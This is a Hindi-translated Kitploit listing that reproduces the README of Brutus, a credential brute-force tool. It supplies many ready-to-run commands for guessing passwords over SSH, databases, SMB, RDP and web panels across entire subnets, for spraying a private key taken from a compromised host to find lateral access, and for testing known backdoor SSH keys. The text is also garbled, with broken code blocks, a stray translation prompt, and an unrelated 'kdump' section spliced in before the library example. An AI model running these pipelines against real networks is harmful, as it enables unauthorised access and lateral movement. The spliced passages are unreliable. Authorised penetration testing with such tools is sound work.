Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
brutus — गो में तेज़, शून्य-निर्भरता क्रेडेंशियल परीक्षण उपकरण। SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB और 20+ प्रोटोकॉल पर ब्रूट फोर्स। नेटिव नर्वा/नाबू पाइपलाइन एकीकरण के साथ हाइड्रा विकल्प। | Kitploit
उपकरण/GitHubGitHub/praetorian-inc/brutus
भेद्यता स्कैनरपासवर्ड हमलेशोषणपार्श्व आंदोलनजानकारी एकत्र करनानेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगउपयोगिताएँ और फ्रेमवर्कप्रमाणीकरणरेड टीमिंग
GitHubpraetorian-inc/brutus

brutus

3074171घं 57मि पहलेKitploit द्वारा समीक्षित

गो में तेज़, शून्य-निर्भरता क्रेडेंशियल परीक्षण उपकरण। SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB और 20+ प्रोटोकॉल पर ब्रूट फोर्स। नेटिव नर्वा/नाबू पाइपलाइन एकीकरण के साथ हाइड्रा विकल्प।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
Brutus - Social

Brutus

"और तू, ब्रूटस?" — क्रेडेंशियल्स गिरने से पहले के अंतिम शब्द।

शुद्ध Go में आधुनिक क्रेडेंशियल परीक्षण उपकरण

स्थापना • त्वरित शुरुआत • पाइपलाइन • प्रोटोकॉल • गणना • प्रॉक्सी • लाइब्रेरी


अवलोकन

Brutus एक बहु-प्रोटोकॉल प्रमाणीकरण परीक्षण उपकरण है जिसे आक्रामक सुरक्षा उपकरणों में एक महत्वपूर्ण अंतर को संबोधित करने के लिए डिज़ाइन किया गया है: विविध नेटवर्क सेवाओं में कुशल क्रेडेंशियल सत्यापन। जबकि HTTP-केंद्रित उपकरण प्रचुर मात्रा में हैं, पेनिट्रेशन परीक्षकों और रेड टीम ऑपरेटरों को अक्सर डेटाबेस, SSH, SMB और अन्य नेटवर्क सेवाओं का सामना करना पड़ता है जिनके लिए उद्देश्य-निर्मित प्रमाणीकरण परीक्षण क्षमताओं की आवश्यकता होती है।

Go में एकल बाइनरी के रूप में शून्य बाहरी निर्भरताओं के साथ निर्मित, Brutus स्वचालित सेवा खोज के लिए Nerva के साथ सहजता से एकीकृत होता है, जिससे ऑपरेटर पूरे नेटवर्क रेंज में प्रमाणीकरण वैक्टर की तेजी से पहचान और परीक्षण कर सकते हैं।

मुख्य विशेषताएँ:

  • शून्य निर्भरताएँ: एकल बाइनरी, क्रॉस-प्लेटफ़ॉर्म (लिनक्स, विंडोज, मैकओएस)
  • 27 प्रोटोकॉल: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP बेसिक प्रमाणीकरण, और अधिक
  • SOCKS5 प्रॉक्सी समर्थन: --proxy के साथ सभी ट्रैफ़िक को SOCKS5 प्रॉक्सी के माध्यम से रूट करें
  • आक्रामकता मोड: कवरेज बनाम सुरक्षा को ट्यून करने के लिए --mode cautious|default|aggressive
  • पाइपलाइन एकीकरण: Nerva, naabu, nmap, और masscan वर्कफ़्लो के लिए मूल समर्थन
  • अंतर्निहित खराब कुंजियाँ: ज्ञात SSH कुंजियों का अंतर्निहित संग्रह (Vagrant, F5, ExaGrid, आदि)
  • खाता गणना: खाता-अस्तित्व ओरेकल गणना, Kerberos उपयोगकर्ता गणना, ईमेल जनरेशन, Microsoft Teams/Entra ID डिवाइस कोड प्रमाणीकरण
  • Go लाइब्रेरी: सीधे अपने सुरक्षा ऑटोमेशन टूल्स में आयात करें
  • उत्पादन के लिए तैयार: दर सीमित, कनेक्शन पूलिंग, और व्यापक त्रुटि प्रबंधन

  • क्यों Brutus?

    पारंपरिक उपकरण जैसे THC Hydra ने सुरक्षा समुदाय की अच्छी सेवा की है, लेकिन वे महत्वपूर्ण घर्षण के साथ आते हैं: जटिल निर्भरता श्रृंखलाएँ, प्लेटफ़ॉर्म-विशिष्ट संकलन समस्याएँ, और आधुनिक टोही वर्कफ़्लो के साथ कोई मूल एकीकरण नहीं।

    Brutus आधुनिक आक्रामक सुरक्षा के लिए उद्देश्य-निर्मित है:

    • सच्ची शून्य-निर्भरता तैनाती: एकल बाइनरी डाउनलोड करें और चलाएँ। कोई libssh-dev, कोई libmysqlclient-dev, कोई संकलन त्रुटि नहीं। लिनक्स, मैकओएस और विंडोज पर समान रूप से काम करता है।

    • मूल पाइपलाइन एकीकरण: Brutus JSON बोलता है और सीधे Nerva, naabu, nmap, और masscan के साथ एकीकृत होता है। खोजी गई सेवाओं को बिना प्रारूप रूपांतरण या स्क्रिप्टिंग के सीधे क्रेडेंशियल परीक्षण में पाइप करें।

    • अंतर्निहित बुद्धिमत्ता: ज्ञात SSH खराब कुंजियाँ (Vagrant, F5 BIG-IP, ExaGrid, आदि) बाइनरी में संकलित की जाती हैं। SSH लक्ष्यों के विरुद्ध उनका परीक्षण करने के लिए brutus badkeys का उपयोग करें।

    • लाइब्रेरी-प्रथम डिज़ाइन: Brutus को सीधे अपने Go सुरक्षा उपकरणों में आयात करें। बाहरी प्रक्रियाओं को शेल किए बिना कस्टम ऑटोमेशन बनाएँ।```bash

    Full network credential audit in one pipeline (JSON mode)

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

    Or use Nerva's default URI output — no --json flags needed

    naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

    root@kitploit:~
    ---
    
    ## उपयोग के मामले
    
    ### पैठ परीक्षण
    - आंतरिक मूल्यांकन के दौरान कई सेवाओं पर खोजे गए क्रेडेंशियल्स को मान्य करें
    - डेटाबेस और फ़ाइल शेयर सेवाओं में पासवर्ड पुन: उपयोग पैटर्न का परीक्षण करें
    - नवनियोजित बुनियादी ढाँचे पर डिफ़ॉल्ट क्रेडेंशियल्स की पहचान करें
    
    ### रेड टीम संचालन
    - पासवर्ड डंप या फ़िशिंग अभियानों के बाद तीव्र क्रेडेंशियल सत्यापन
    - नेटवर्क सेवाओं में पार्श्व संचलन के अवसरों का परीक्षण करें
    - असमान वातावरणों में समझौता किए गए क्रेडेंशियल्स को मान्य करें
    
    ### निजी कुंजी स्प्रेइंग
    
    किसी समझौता किए गए सिस्टम पर एक निजी कुंजी मिली? इसे नेटवर्क में स्प्रे करें ताकि पता चले कि और कहाँ यह पहुँच प्रदान करती है:```bash
    # Discover SSH services and spray a found private key
    naabu -host 10.0.0.0/24 -p 22 -silent | \
      nerva --json | \
      brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
    

    यह पाइपलाइन सभी SSH सेवाओं का पता लगाती है, उन्हें Nerva से पहचानती है, और समझौता की गई कुंजी को सामान्य उपयोगकर्ता नामों के विरुद्ध परीक्षण करती है—जिससे सेकंडों में पार्श्व गति के अवसर सामने आते हैं।

    वेब व्यवस्थापक पैनल परीक्षण

    AI-संचालित पहचान या मैन्युअल क्रेडेंशियल सूचियों का उपयोग करके HTTP सेवाओं का पता लगाएँ और क्रेडेंशियल्स का परीक्षण करें:```bash

    AI-powered: auto-detect devices and suggest default credentials

    naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
    nerva --json |
    brutus web --experimental-ai --json

    Manual: test specific credentials against web panels

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web -c "admin:admin,root:password" --json

    Default wordlist: test common credentials without AI or -c

    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
    nerva --json |
    brutus web --json

    root@kitploit:~
    ### सुरक्षा सत्यापन
    - नई तैनात की गई सेवाओं पर डिफ़ॉल्ट क्रेडेंशियल्स का परीक्षण करें
    - प्लेटफार्मों पर पासवर्ड नीति प्रवर्तन को मान्य करें
    - अनुपालन और सुरक्षा मूल्यांकन के लिए ऑडिट ट्रेल्स उत्पन्न करें
    
    ---
    
    ## स्थापना
    
    ### पूर्व-निर्मित बाइनरी (अनुशंसित)
    
    से डाउनलोड करें [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
    # Linux (amd64)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Apple Silicon)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    
    # macOS (Intel)
    curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
    sudo mv brutus /usr/local/bin/
    

    Please provide the Markdown content to translate.```powershell

    Windows (PowerShell)

    Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

    root@kitploit:~
    ### Go इंस्टॉल```bash
    go install github.com/praetorian-inc/brutus/cmd/brutus@latest
    

    Quick Start

    Subcommands

    Brutus अपनी कार्यक्षमता को छह केंद्रित उप-कमांडों में व्यवस्थित करता है:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

    root@kitploit:~
    प्रत्येक उप-कमांड में खोजने योग्यता के लिए उपनाम होते हैं:
    
    | उप-कमांड | उपनाम |
    |------------|---------|
    | `creds` | `services`, `defaults`, `credentials` |
    | `web` | `http`, `panels` |
    | `snmp` | `community` |
    | `badkeys` | `keys`, `ssh-keys`, `badkey` |
    | `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
    | `enum` | *(कोई नहीं)* |```bash
    # Test SSH credentials
    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
    
    # Test HTTP web panel with AI credential detection
    brutus web --target 192.168.1.1:80 --experimental-ai
    
    # Test HTTP web panel with manual credentials
    brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
    
    # Test SNMP community strings
    brutus snmp --target 192.168.1.1:161 --mode aggressive
    
    # Detect Windows logon-screen backdoors
    brutus logon --target 10.0.0.50:3389
    
    # Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
    naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
    naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    मूल उपयोग```bash

    Test SSH with default credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh

    Test with specific credentials

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

    Test with username and password lists

    brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

    Test MySQL database

    brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

    Test SSH with a specific private key

    brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

    Increase threads for faster testing

    brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

    JSON output for scripting

    brutus creds --target 192.168.1.100:22 --protocol ssh --json

    root@kitploit:~
    ### आउटपुट उदाहरण```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
    [+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
    

    वर्बोज़ मोड (-v) के साथ:``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

    root@kitploit:~
    पाइपलाइन एकीकरण के लिए JSON आउटपुट (केवल सफल क्रेडेंशियल्स आउटपुट करता है):```
    $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    

    पाइपलाइन एकीकरण

    Brutus Nerva और naabu के साथ निर्बाध रूप से एकीकृत होता है, जो पूर्ण नेटवर्क टोही प्रदान करता है।

    वास्तविक-विश्व परिदृश्य

    परिदृश्य 1: कॉर्पोरेट /24 नेटवर्क को स्कैन करना```bash

    Discover all open ports, identify services, test default credentials

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva --json |
    brutus creds --json -o results.json

    Same pipeline using Nerva's default URI output (no --json needed)

    naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
    nerva | brutus creds -o results.json

    Review findings (all output is successful credentials)

    cat results.json | jq '.'

    root@kitploit:~
    #### परिदृश्य 2: लक्ष्य डोमेन पर Bug Bounty Recon```bash
    # Full pipeline against a single target
    naabu -host target.example.com -top-ports 1000 -silent | \
      nerva --json | \
      brutus creds
    
    # Or scan a list of subdomains
    cat subdomains.txt | naabu -silent | nerva --json | brutus creds
    

    परिदृश्य 3: आंतरिक मूल्यांकन में डेटाबेस खोज```bash

    Find and test all databases in a range

    naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
    nerva --json |
    brutus creds -t 5 --json |
    tee database-findings.json

    Extract credentials in readable format

    jq -r '"(.target) (.username):(.password)"' database-findings.json

    root@kitploit:~
    #### परिदृश्य 4: बुनियादी ढांचे में SSH कुंजी परीक्षण```bash
    # Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
    naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
      nerva --json | \
      brutus badkeys --json -o ssh-key-findings.json
    
    # Find systems using compromised SSH keys (key field is true)
    cat ssh-key-findings.json | jq 'select(.key == true)'
    

    परिदृश्य 5: लक्षित सेवा परीक्षण```bash

    Test only Redis instances found in the network

    naabu -host 172.16.0.0/12 -p 6379 -silent |
    nerva --json |
    brutus creds

    Test only MongoDB with custom credentials

    naabu -host 10.0.0.0/24 -p 27017 -silent |
    nerva --json |
    brutus creds -u admin,root,mongodb -p admin,password,mongodb

    root@kitploit:~
    ### Scan Tool Import (Nmap & Masscan)
    
    Brutus सीधे **nmap** और **masscan** स्कैन आउटपुट फ़ाइलों से लक्ष्य आयात कर सकता है, जिससे प्रारूप रूपांतरण या मध्यवर्ती उपकरणों की आवश्यकता समाप्त हो जाती है।
    
    #### Nmap XML Import (`--nmap-file`)
    
    nmap के XML आउटपुट (`-oX`) से लक्ष्य आयात करें। Nmap service fingerprinting प्रदान करता है, इसलिए Brutus स्वचालित रूप से पता लगाई गई सेवाओं को सही प्रोटोकॉल पर मैप करता है:```bash
    # Run an nmap service scan
    nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
    
    # Feed nmap results directly to Brutus
    brutus creds --nmap-file scan.xml -P passwords.txt
    
    # Test web services from nmap scan
    brutus web --nmap-file scan.xml -c "admin:admin,root:password"
    
    # Test SNMP from nmap scan
    brutus snmp --nmap-file scan.xml --mode aggressive
    
    # JSON output for scripting
    brutus creds --nmap-file scan.xml --json -o results.json
    

    Nmap सेवा नाम स्वचालित रूप से Brutus प्रोटोकॉल में मैप हो जाते हैं (जैसे, ms-wbt-server → rdp, microsoft-ds → smb)। TLS को nmap के tunnel="ssl" विशेषता से पता लगाया जाता है। केवल उपलब्ध होस्ट पर खुले पोर्ट आयात किए जाते हैं।

    Masscan JSON आयात (--masscan-file)

    masscan के JSON आउटपुट (-oJ) से लक्ष्य आयात करें। चूंकि masscan केवल एक पोर्ट स्कैनर है (कोई सेवा फिंगरप्रिंटिंग नहीं), आपको या तो --protocol निर्दिष्ट करना होगा या Brutus को Nerva के साथ स्वचालित रूप से फिंगरप्रिंट करने देना होगा:```bash

    Run a masscan port scan

    masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

    Test all discovered ports as SSH (when you know what's running)

    brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

    Auto-fingerprint with Nerva (when services are unknown)

    brutus creds --masscan-file scan.json -P passwords.txt

    root@kitploit:~
    #### अन्य वर्कफ़्लो के साथ संयोजन
    
    `--nmap-file` और `--masscan-file` फ़्लैग सभी उप-कमांड के साथ काम करते हैं और `--target`, `--targets-file`, और stdin के साथ परस्पर अनन्य हैं:```bash
    # Scan for RDP backdoors from nmap results
    brutus logon --nmap-file scan.xml
    
    # Test SSH bad keys from nmap results
    brutus badkeys --nmap-file scan.xml
    
    # Override protocol for all masscan targets
    brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
    

    पाइपलाइन इनपुट प्रारूप

    Brutus stdin से कई इनपुट प्रारूप स्वीकार करता है:

    Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

    root@kitploit:~
    **Nerva URI** (डिफ़ॉल्ट Nerva आउटपुट, कोई `--json` आवश्यक नहीं):```bash
    # Nerva outputs URI-scheme lines by default
    $ echo "github.com:22" | nerva
    ssh://github.com:22 (20.205.243.166)
    
    # Pipe directly to Brutus — protocol is extracted from the URI scheme
    echo "10.0.0.1:22" | nerva | brutus creds
    echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
    

    नंगे लक्ष्य (Nerva के साथ स्वचालित फिंगरप्रिंटिंग):```bash echo "192.168.1.100:22" | brutus creds

    root@kitploit:~
    Brutus स्वचालित रूप से:
    - JSON, URI स्कीम और बेयर टार्गेट फॉर्मेट को पार्स करता है
    - सेवाओं को प्रोटोकॉल से मैप करता है
    - उपयुक्त डिफ़ॉल्ट क्रेडेंशियल्स का परीक्षण करता है
    - परिणाम को मेल खाने वाले JSON फॉर्मेट में आउटपुट करता है
    
    ### पाइपलाइन आउटपुट फॉर्मेट
    
    Brutus केवल सफल क्रेडेंशियल्स को JSONL फॉर्मेट में आउटपुट करता है (प्रति पंक्ति एक JSON ऑब्जेक्ट):```bash
    # Brutus JSON output (with --json flag) - only successful authentications
    {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
    {"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
    {"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
    

    नोट: असफल प्रमाणीकरण प्रयास JSON आउटपुट में शामिल नहीं हैं। key फ़ील्ड (true के रूप में) तब दिखाई देती है जब प्रमाणीकरण में पासवर्ड के बजाय SSH कुंजी का उपयोग किया गया हो। llm_suggested फ़ील्ड (true के रूप में) तब दिखाई देती है जब क्रेडेंशियल्स AI सिस्टम (--experimental-ai) द्वारा सुझाए गए हों।


    तुलना

    FeatureHydraMedusaNcrackBrutus
    एकल बाइनरी❌❌❌✅
    शून्य निर्भरताएँ❌❌❌✅
    SOCKS5 प्रॉक्सी✅❌❌✅
    Nerva पाइपलाइन❌❌❌✅
    Nmap/Masscan आयात❌❌❌✅
    JSON स्ट्रीमिंग⚠️❌❌✅
    क्रॉस-प्लेटफ़ॉर्म⚠️⚠️⚠️✅
    सुसंगत त्रुटियाँ⚠️⚠️⚠️✅
    सक्रिय विकास✅⚠️❌✅
    एम्बेडेड बैड कुंजियाँ❌❌❌✅
    Go लाइब्रेरी आयात❌❌❌✅

    समर्थित प्रोटोकॉल

    Brutus 27 प्रोटोकॉल का समर्थन करता है:

    नेटवर्क सेवाएं

    प्रोटोकॉलपोर्टप्रमाणीकरण विधियाँउपयोग परिदृश्य
    SSH22पासवर्ड, निजी कुंजियाँसर्वर, नेटवर्क उपकरण
    FTP21पासवर्डफ़ाइल सर्वर, NAS डिवाइस
    Telnet23पासवर्डलीगेसी सिस्टम, IoT डिवाइस
    VNC5900पासवर्डदूरस्थ डेस्कटॉप
    RDP3389NLA/CredSSP, पासवर्डविंडोज सर्वर, वर्कस्टेशन
    SNMP161कम्युनिटी स्ट्रिंगनेटवर्क डिवाइस, प्रिंटर

    वेब सेवाएं

    प्रोटोकॉलपोर्टप्रमाणीकरण विधियाँउपयोग परिदृश्य
    HTTP80बेसिक प्रमाणीकरणप्रशासन पैनल (Grafana, Jenkins, आदि)
    HTTPS443बेसिक प्रमाणीकरणसुरक्षित प्रशासन पैनल

    एंटरप्राइज़ इंफ्रास्ट्रक्चर

    प्रोटोकॉलपोर्टप्रमाणीकरण विधियाँउपयोग परिदृश्य
    SMB445पासवर्ड, NTLMविंडोज नेटवर्क, फ़ाइल शेयर
    LDAP389/636बाइंड DNसक्रिय निर्देशिका, पहचान
    WinRM5985/5986NTLMविंडोज दूरस्थ प्रबंधन

    डेटाबेस

    प्रोटोकॉलपोर्टप्रमाणीकरण विधियाँउपयोग परिदृश्य
    MySQL3306पासवर्डवेब एप्लिकेशन
    PostgreSQL5432पासवर्डआधुनिक एप्लिकेशन
    MSSQL1433पासवर्डएंटरप्राइज़ एप्लिकेशन
    MongoDB27017पासवर्डNoSQL बैकएंड
    Redis6379पासवर्डकैशिंग, सत्र
    Neo4j7687पासवर्डग्राफ़ डेटाबेस
    Cassandra9042पासवर्डवितरित डेटाबेस
    CouchDB5984HTTP बेसिकडॉक्यूमेंट स्टोर
    Elasticsearch9200HTTP बेसिकसर्च इंजन
    InfluxDB8086HTTP बेसिकटाइम-सीरीज़ डेटा
    Oracle1521पासवर्डएंटरप्राइज़ डेटाबेस

    कंटेनर और ऑर्केस्ट्रेशन

    प्रोटोकॉलपोर्टप्रमाणीकरण विधियाँउपयोग परिदृश्य
    Docker2375/2376अप्रमाणितउजागर Docker डेमॉन
    Kubernetes6443/10250अप्रमाणितउजागर K8s API/kubelet

    संचार सेवाएं

    प्रोटोकॉलपोर्टप्रमाणीकरण विधियाँउपयोग परिदृश्य
    SMTP25/587पासवर्डमेल रिले
    IMAP143/993पासवर्डमेलबॉक्स एक्सेस
    POP3110/995पासवर्डमेलबॉक्स एक्सेस

    एम्बेडेड SSH बैड कुंजियाँ

    बिना किसी बाहरी कुंजी फ़ाइलों की आवश्यकता के एकल बाइनरी तैनाती। प्रत्येक कुंजी को स्मार्ट क्रेडेंशियल मैपिंग के लिए उसके डिफ़ॉल्ट उपयोगकर्ता नाम से जोड़ा जाता है, और CVE ट्रैकिंग अनुपालन प्रश्नों को सक्षम करती है।

    Brutus अपने बाइनरी में rapid7/ssh-badkeys और Vagrant कुंजी संग्रह शामिल करता है:```bash

    Test bad keys against a single target

    brutus badkeys --target 192.168.1.100:22

    Pipeline mode: scan a range for compromised SSH keys

    naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

    Test credentials (bad keys are NOT included in creds mode)

    brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

    root@kitploit:~
    ### एम्बेडेड कुंजी संग्रह
    
    | उत्पाद | CVE | डिफ़ॉल्ट उपयोगकर्ता | विवरण |
    |---------|-----|--------------|-------------|
    | Vagrant | - | vagrant, root | HashiCorp Vagrant असुरक्षित कुंजी |
    | F5 BIG-IP | CVE-2012-1493 | root | स्थिर SSH होस्ट कुंजी |
    | ExaGrid | CVE-2016-1561 | root | बैकअप उपकरण बैकडोर |
    | Monroe DASDEC | CVE-2013-0137 | root | आपातकालीन अलर्ट सिस्टम |
    | Barracuda | CVE-2014-8428 | cluster | लोड बैलेंसर VM |
    | Ceragon FibeAir | CVE-2015-0936 | mateidu | वायरलेस बैकहॉल |
    | Array Networks | - | sync | vAPV/vxAG उपकरण |
    | Quantum DXi | - | root | डिडुप्लीकेशन उपकरण |
    | Loadbalancer.org | - | root | एंटरप्राइज़ लोड बैलेंसर |
    
    ---
    
    ## आक्रामकता मोड
    
    ग्लोबल `--mode` फ्लैग (`-m`) सभी उपकमांड में आक्रामकता को नियंत्रित करता है। यह प्रदर्शन ट्यूनिंग प्रीसेट सेट करता है जो कवरेज को सुरक्षा के विरुद्ध संतुलित करते हैं:
    
    | मोड | थ्रेड्स | टाइमआउट | दर सीमा | जिटर | पुनः प्रयास | उपयोग मामला |
    |------|---------|---------|------------|--------|---------|----------|
    | `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | उत्पादन वातावरण, लॉकआउट से बचें |
    | `default` | 10 | 10s | असीमित | कोई नहीं | 2 | मानक परीक्षण |
    | `aggressive` | 20 | 10s | असीमित | कोई नहीं | 3 | लैब/CTF वातावरण, अधिकतम कवरेज |
    
    मोड प्रीसेट पहले लागू किए जाते हैं, फिर कोई स्पष्ट CLI फ्लैग उन्हें ओवरराइड करते हैं:```bash
    # Safe mode for production Active Directory (low concurrency, rate-limited)
    brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
    
    # Maximum coverage for a CTF
    brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
    
    # Cautious mode but override threads
    brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
    

    SNMP के लिए, मोड अंतर्निहित वर्डलिस्ट गहराई को भी नियंत्रित करता है (देखें SNMP Community String Testing)।


    SOCKS5 प्रॉक्सी समर्थन

    --proxy फ्लैग सभी कनेक्शनों को SOCKS5 प्रॉक्सी के माध्यम से रूट करता है। यह सभी प्रोटोकॉल और उपकमांडों पर काम करता है:```bash

    Route SSH testing through a SOCKS5 proxy

    brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

    Proxy with authentication

    brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

    DNS resolution on the proxy side (socks5h)

    brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

    Combine with pipeline input

    naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

    Works with all subcommands

    brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

    root@kitploit:~
    Supported schemes:
    - `socks5://` — मानक SOCKS5 प्रॉक्सी (क्लाइंट-साइड DNS रिज़ॉल्यूशन)
    - `socks5h://` — रिमोट DNS रिज़ॉल्यूशन के साथ SOCKS5 (आंतरिक होस्टनामों को लक्षित करते समय उपयोगी)
    
    ---
    
    ## SNMP कम्युनिटी स्ट्रिंग परीक्षण
    
    `snmp` उपकमांड वैश्विक `--mode` फ़्लैग द्वारा नियंत्रित स्तरीय वर्डलिस्ट के साथ समर्पित SNMP v1/v2c कम्युनिटी स्ट्रिंग परीक्षण प्रदान करता है:
    
    | मोड | स्ट्रिंग्स | कवरेज |
    |------|---------|----------|
    | `cautious` | ~25 | सामान्य स्ट्रिंग्स (public, private, community, आदि) |
    | `default` | ~25 | वैसा ही जैसे cautious |
    | `aggressive` | 200+ | व्यापक (विक्रेता-विशिष्ट, SCADA, IP कैमरे, स्टोरेज, आदि) |```bash
    # Test with default community strings (~25)
    brutus snmp --target 192.168.1.1:161
    
    # Aggressive mode for comprehensive testing (200+)
    brutus snmp --target 10.0.0.1:161 --mode aggressive
    
    # Custom community strings
    brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
    
    # Custom community string file
    brutus snmp --target 192.168.1.1:161 -C community-strings.txt
    
    # Pipeline mode
    naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
    

    लाइब्रेरी एकीकरण

    सुरक्षा ऑटोमेशन उपकरण बनाने वाले डेवलपर्स के लिए, Brutus को एक Go लाइब्रेरी के रूप में आयात किया जा सकता है:```bash go get github.com/praetorian-inc/brutus

    root@kitploit:~
    ## डोमेन / IP पते बहिष्कृत करना
    
    `kdump` एक विशेष पर्यावरण चर `KDUMP_DOMAILS_EXCLUDE` का समर्थन करता है जो आपको डोमेन नामों और IP पतों की एक अल्पविराम से अलग की गई सूची परिभाषित करने की अनुमति देता है जिन्हें रिपोर्टिंग से बाहर रखा जाना चाहिए।```go
    package main
    
    import (
        "fmt"
        "time"
    
        "github.com/praetorian-inc/brutus/pkg/brutus"
        _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
    )
    
    func main() {
        config := &brutus.Config{
            Target:        "192.168.1.100:22",
            Protocol:      "ssh",
            Usernames:     []string{"root", "admin"},
            Passwords:     []string{"password", "admin", "toor"},
            Timeout:       5 * time.Second,
            Threads:       10,
        }
    
        results, err := brutus.Brute(config)
        if err != nil {
            panic(err)
        }
    
        for _, r := range results {
            if r.Success {
                fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
            }
        }
    }
    

